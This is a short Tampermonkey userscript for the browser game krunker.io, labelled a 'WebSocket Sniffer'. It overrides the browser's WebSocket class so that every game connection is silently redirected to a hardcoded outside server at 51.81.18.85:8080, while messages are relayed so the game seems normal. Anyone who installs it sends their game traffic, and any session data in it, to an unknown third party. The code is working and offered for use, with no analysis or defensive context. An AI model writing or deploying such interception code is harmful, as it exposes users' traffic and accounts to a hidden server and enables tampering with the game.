script

// ==UserScript==
// @name         New WebSocket Sniffer -> KPS
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  try to take over the world!
// @author       Sh0T -> Lemon poo
// @match        *://krunker.io/*
// @grant        none
// ==/UserScript==

setTimeout(() => {
    var _WebSocket = window.WebSocket;
    class WebSocket extends _WebSocket {
        constructor(url, protocol = undefined) {
            url = 'ws://51.81.18.85:8080';

            super(...[url, protocol]);
            this.realOnMessage = null;
        }
        set onmessage(cb) {
            this._onmessage = cb;
            super.onmessage = this.fakeOnMessage;
        }
        fakeOnMessage(data) {
            if (this._onmessage) this._onmessage.apply(this, arguments);
        }
        set binaryType(type) {
            super.binaryType = type;
        }
        set onopen(cb) {
            super.onopen = cb;
        }
        send(data) {
            super.send.apply(this, arguments);
        }
    }

    window.WebSocket = WebSocket;
}, 500);